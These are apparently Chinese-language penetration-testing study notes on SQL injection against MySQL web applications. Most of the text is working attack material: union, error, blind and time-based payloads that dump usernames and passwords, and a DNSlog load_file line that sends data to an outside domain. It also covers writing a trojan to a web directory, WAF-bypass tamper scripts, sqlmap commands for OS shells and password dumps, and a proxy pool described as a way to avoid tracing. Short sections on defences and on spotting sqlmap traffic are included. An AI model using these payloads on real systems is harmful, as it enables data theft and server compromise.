数据库语句
mysql: select from table limit 5;
mssql/sqlsever: select top 5 from table;
oracle: select from table where rounum >=5
sql注入
==>sql代码
只要功能点和数据库交互的地方都有可能存在SQL注入
原理
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。
根据数据类型划分*
整型注入(不需要闭合,不一定需要注释)建议每次都加注释
字符串类型注入(需要闭合,或者需要注释)
搜索型 加密型
如何判断?
第一种
and 1=1和and 1=2
第二种 (最好用减 有些浏览器加号会被转译为空格) **
+1和-1
第三种
'"
第四种
and sleep(5)
判断是否存在注入
/单双引号、运算符(+-*/)、?id=3' and'1'='2/?id=3'and'1'='1
判断闭合方式
1.通过\(转义字符)来判断SQL注入的闭合方式 通过报错信息判断
2.'" 有无报错信息
看闭合符里是允许多个括号组合成闭合符的,具体要判断有多少个括号,可以使用二分法来快速判断。
根据注入的类型分类
UNION query SQL injection(可联合查询注入)
Error-based SQL injection(报错型注入)
Boolean-based blind SQL injection(布尔型注入)
Time-based blind SQL injection(基于时间延迟注入)
Wide char SQL injection(宽字节注入)
Twice SQL injection(二次注入)
Stacked queries SQL injection(可多语句查询注入)堆叠注入 => 5.0以下版本
select * from user where id=1; sql语句
补:
access数据库 =>偏移注入
DNSlog外带注入
mysql补充
mysql注释
# (url编码为 %23)
--+ (--后面需跟上一个或多个空格) 空格(url编码为%20)
/*.....*/ 绕waf用 /*!数字...*/
如果数字(5位)大于当前mysql版本号 注释生效
否则不生效 waf绕过
常用函数
查看用户
select user()
select system_user()
select current_user()
select SESSION_USER()
查询当前数据库名称
select database()
查询当前版本
select version()
select @@version
mysql安装路径*
select @@basedir
数据库存储数据表位置*
select @@datadir
查看操作系统
select @@version_compile_os
索引库及其表和字段
5.0以上才有,可以多用户多操作
information_schema库
SCHEMATA表
字段: SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA TABLE_NAME
COLUMNS表
字段:TABLE_SCHEMA TABLE_NAME COLUMN_NAME
5.0以下,单用户
如何防止SQL注入*
注意: 数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制 addslashes()函数在指定的预定义字符('" \ null)前添加反斜杠 针对字符型进行过滤
mysql_escape_string() 已弃用
intval() 针对整型进行过滤
PDO预处理方式
转换后需要加标识 如十六进制要加0x... 二进制要加0b...
开启gpc
补:确定每个数据的类型
限制传入数据的长度
严格限制用户使用数据库的权限
ascii
0x3D = 0x20 空格
union 必须包含相同的列数
order by 可以查看列数
limit 一个一个打印出来库名
group_concat() 一次性全部打印
读写函数*
前提:
1.知道文件绝对路径
2.能够使用union查询
3.对web目录有读写权限(基本只有root权限才有这个权限)
4.导入,导出不为null show variables like '%secure_file_priv%';
在my.ini中配置 secure_file_priv=
NULL 不允许导入也不允许导出(不能读取也不能写入)
空 可以导入也可以导出且文件位置不限制
绝对路径 导入和导出都只能在这个路径下进行
5.没有对单双引号进行过滤()/全局未开启gpc功能 magic_quote_gpc
读取文件 load_file
select load_file('绝对路径') 反斜杠前要加个反斜杠/直接用正斜杠
写入文件 into outfile/into dumpfile
select '文件内容' into outfile '绝对路径'
select '文件内容' into dumpfile '绝对路径'
文件内容可以使用0b二进制编码,0x十六进制编码,绝对路径不可以
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式 (提权用dumpfile)
注入流程
常用场景
登录注册 –union –联合注入
文章 –报错/布尔/时间
根据所需拿到一些数据库
然后 进行读取文件 文件上传
联合注入
有显示位
1.首先判断是整型还是字符型(因为要考虑是否需要闭合)
2.判断列数 如 order by 3
3.使用占位符 如 union select 1,2,3
4.爆库 union select database(),2,3 --+
5.爆表 union select group_concat(table_name) from information_schema.tables where table_schema=database() --+
6.爆字段 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' --+
7.字段值 union select group_concat(username,0x3D,password) from 表名 --+
报错注入
没有回显位,但有报错信息
基础函数
ceil 向上取整
floor 向下取整
rand 随机取值
concat 返回结果为连接参数产生的字符串。
substr()/substring()/mid() 三个参数
left() 两个参数
payload为需要获取内容的脚本
1.通过floor报错
select count(*),concat((payload),floor(rand(0)*2))x from users group by x
2.通过extractvalue()报错 2 从目标XML中返回包含所查询值的字符串。
extractvalue(1,concat(0x7e,payload(),0x7e)
获取所有表
(select distinct concat(0x7e,(select group_concat(table_name)),0x7e)from information_schema.tables where table_schema='security')
(select distinct concat(0x7e,(select group_concat(column_name)),0x7e)from information_schema.columns where table_schema='security' and table_name='users')
第一个参数:XML_document是string格式(如果我们不写字符串格式而写一个数字1,那么就会报错,将后面的语句查询出来.)
第二个参数:XPath_string(Xpath格式的字符串)
3、通过UpdateXML()报错 3
and UpdateXML(1,concat(0x7e,(payload),0x7e)),1)
补充: 常见报错函数可能会被waf拦截
1.ST_LatFromGeoHash()
and ST_LatFromGeoHash(concat(0x7e,(payload),0x7e))--+
2.ST_LongFromGeoHash()
and ST_LongFromGeoHash(concat(0x7e,(payload),0x7e))--+
3.ST_PointfromgeoHash()
and ST_Pointfromgeohash(concat(0x7e,(payload),0x7e),1)--+
floor 报错原理
floor(rand(0)*2 的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和 group by 的虚拟表,最终引起了报错。
group by和count一起使用时,会生成一张虚拟的表
先运算第一次,第一次的结果为0,查到结果后就需要去虚拟机添加数据(如果虚拟表没有该数据,将运算第二次,如果有就不需要运行第二次)
1.首先判断是整型还是字符型(因为要考虑是否需要闭合)
2.and(select 1 from (select count(*),concat(concat(payload),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
//payload为需要获取内容的脚本
布尔注入
优点:不需要显示位,不需要出错信息(报错信息不全)。 缺点: 速度慢,耗费大量时间。
常用函数
length(长度)
exists() 检测是否子查询是否返回数据
ascii()/ord() 返回ascii码
regexp '' 匹配 like '' 全称
常用语句
判断版本是否大于5.0 若结果为0 即可使用堆叠注入..
and exists(select from information schema.tables)--+
判断数据库个数
and (select count(table_schema) from information_schema.tables) > ?
注入流程
1.判断闭合
2.判断第一个库的第一个字
and (select ascii(substr((select schema_name from
information_schema.SCHEMATA limit 0,1),1,1)))>? --+
时间注入
优点:不需要显示位,不需要出错信息。
加入sleep(5)后页面会有明显延迟
缺点: 速度慢.
注入流程
1.判断注入点
2.闭合语句
3.and if(ascii(substr(payload),1,1)=?,sleep(5),1)
宽字节注入
字符集为gbk时可以使用 %df 加上闭合的符号 可用于绕过addslashes()
二次注入
一次注入:将带有sql风险的数据写入数据库 (插入更新)
二次注入:读取带有sql风险数据实现到了注入 (插入,更新,删除,(插入))
开始:信息进行存储/修改造成二次注入风险
过程:访问这些点判断是否存在
结尾:利用
unifish
存在于评论文章结合 =>两个注入点应该是连贯的
堆叠注入
条件:
mysqli_multi_query() 支持同时执行多条sql语句
mysqli_query() 支持执行单条sql语句
;未被过滤
https://buuoj.cn/challenges
DNS利用
http://www.dnslog.cn/
and()
select load_file(concat('\\\\',(select (paload)),'.域名\\abc'));
2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
dns不能放过长的payload
http头注入
绕waf
针对 单双引号、空格、关键字、比较、注释进行过滤
单双引号 =>十六进制 hex() unhex()
空格 =>/**/,(),转义
关键字=>大小写绕过,双写绕过,替代关键字 ,预编译
比较=> 用greatest函数替代大于号 用least函数代替小于号 strcmp代替字符串比较
注释进行过滤=>可以用and加上闭合的符号
如果代码块存在url解码 那么可以将sql语句转换为url码进行
如果字符编码为gbk时 可以使用宽字节绕过
逗号过滤=>针对一些函数可以用语句进行替代 如substr(from for) limit 0offset1
内联注释等等
绕过方法: 大小写、替换关键字、函数、编码/进制、Sql特性
1.大小写绕过
原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。
2.替换关键字/双写绕过
正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
3.空格绕过
1)注释符绕过 /**/
2) 括号绕过 ()
3)转义绕过 换行%0a %20
4.内联注释(关键字)
5.URL编码
有时后台界面会再次URL解码所以这时可以利用二次编码解决问题 后台语句 代码里有urldecode解码
6.十六进制绕过(引号过滤)
7.逗号绕过
盲注时需要用到的字句方法
substr(”,1,1),mid(”,1,1) => from 1 for 1
limit(0,1) => 0offset1
8.比较符绕过(>,<)
盲注时,在使用二分查找的时候需要使用到比较操作符来进行查找。
select GREATEST(1,2,3) //输出最大值3
select least(1,2,3) //输出最小值1
select strcmp(‘aa’,’aaa’) 字符串比较 输出 -1 等于0即为相等
补:in, between, order by,like
9.注释符绕过
在注入时的注释符一般为# –+当两者不能用时就不能闭合引号
将注释符换为闭合符号
闭合为’的话 select * from users WHERE id=’1’/1 (布尔语句)/’1′ =’1′
10宽字节绕过
字符编码为gbk %df
补充:base 64加密多以等于号结尾
11.with rollup
12无列名注入
给未知列名命名
13.判断列数绕过
SQLmap的使用
流程:
1.-u 查看是否存在注入
2-u url –is-dba 查看权限
- –proxy -user-agent
1.基础命令
–batch 跳过询问
sqlmap -u "网址" 得到数据库,操作系统,服务器等版本信息
sqlmap -u "网址" --dbs 列出所有数据库名
sqlmap -u "网址" -D 数据库名 --tables
sqlmap -u "网址" -T 表名 --columns
sqlmap -u "网址" -T 表名 -C 列名 --dump
sqlmap -u "网址" -D 数据库名 --dump --batch
sqlmap -u "网址" --os -shell
2.进阶命令
输出信息的详细程度
-V #共7个级别(0~6),默认为1
#可以用-vv 代替-v 2,推荐使用这种方法
0:只输出Python出错回溯信息,错误和关键信息
1:增加输出普通信息和警告信息
2:增加输出调试信息
3:增加输出已注入的payloads
4:增加输出HTTP请求
5:增加输出HTTP响应头
6:增加输出HTTP响应内容
*检测强度等级
-level1 检测Get和Post
-level2 检测HTTP Cookie
-level3 检测User-Agent和Referer
-level4 检测
-level5 检测HOST头
检测风险等级
-risk 2会在默认的检测上添加大量时间型盲注语句测试
-risk 3会在原基础上添加OR类型的布尔型盲注,可能会update导致修改数据库
抓包方式 在想要测试的后面加上*
-r"路径" --proxy"代理路径" --batch
-u"地址" --proxy"代理路径" --batch
--user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" --batch
代理池
proxyPool.py 爬取免费代理 --redis 6379存储爬取免费代理
1.安装环境
python -m pip install -r requirements.txt
2.开启redis(配置密码 -setting.py)
3.爬取免费有效的代理ip
python proxypool.py schedule
4.启动api服务
python proxypool.py server
Mytool
5.读取爬出来的代理并且保存在ips.txt
python main.py
6.运行 挂出代理(127.0.0.1:9999)(轮询)
go2.py
工具端口 5010
3.注入流程
–batch 默认yes
–prefix 注入 payload 的前缀字符串 –suffix 注入 payload 的后缀字符串 –tamper 用给定脚本修改注入数据
–dump-all 列出所有
–user-agent 浏览器信息
–proxy 设置代理(绕waf 防止溯源)
–flush-session 清空会话文件
-v 详细程度 -level 强度等级 -risk 风险等级
-u "url" 查看是否存在注入
对于是post提交数据的URL,我们需要指定其data参数(可与bp联用更加快捷 抓包保存数据包到文件夹里面)
-r "数据包地址" 读取数据报
--current-user 查看数据库当前用户
--is-dba 当前用户是否有管理权限
--roles 列出数据库管理员角色 --privileges 用户特权级
(--users #列数据库所有用户
--passwords #数据库用户所有密码 )
--current-db 查看当前数据库
根据所需爆库 爆表 爆列名 爆数据 指定
-D 数据库名
-T 表名
-C 列名
--sql-query 指定要执行的sql语句
--sql-shell 调出shell
实际应用场景
伪静态注入
-u url*.html --dbs #在html扩展名前加个'*'
文件操作
--is-dba 查看权限
--fire-read '文件路径' 读取文件
--fire-write=本地木马路径 --file-dest=目标网站目录
4.绕过waf
--tamper
--delay
--proxy
tamper用法
1.针对引号
apostrophemask.py 对引号进行 utf-8 格式编码
apostrophenullencode.py 用非法的双 unicode 字符 (%00%27) 替换引号字符
2.针对关键字
versionedmorekeywords.py 对每个关键字进行注释处理
randomcomments.py 在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
nonrecursivereplacement.py 关键字双写,可用于关键字过滤
3.针对空格
space2comment.py 用注释符 // 代替空格,用于空格的绕过
space2plus.py 用+号替代空格
4.比较符
between.py 用between替代大于号(>)
greatest.py 两者比较取大值
charunicodeencode.py 对字符串进行 Unicode 格式转义编码
base64encode.py 用 base64 格式进行编码
bluecoat.py 对 SQL 语句替换空格字符为 (%09),并替换”=”—>”LIKE”
commalessmid 将 payload 中的逗号用 from 和 for 代替,用于过滤了逗号并且是 3 个参数的情况 如substr() mid()
针对url
charencode.py 采用 url 格式编码 1 次
chardoubleencode.py 采用 url 格式编码 2 次
如何检测出什么是sqlmap的流量特征 –(流量检测系统/日志系统)
1.数据包是否包含sql注入语句 sql语句存在一定规则
2.如果没有配置 user_agent 会是固定的sqlmap..
3.sqlmap 随机数的位数正常是固定的 一般是4
4.发包速度是规律的/频率快(代理池)
面试题?
如何区分是window系统还是linux系统
1.大小写 (windows对大小写不敏感,linux是严格区分大小写)
2.ping主机判断 (windows 一般情况下TTL大于100 ,linux一般情况下小于100 )
补:任意文件读取漏洞
查看MySQL/data/mysql/user.MYD 获取账户密码登录
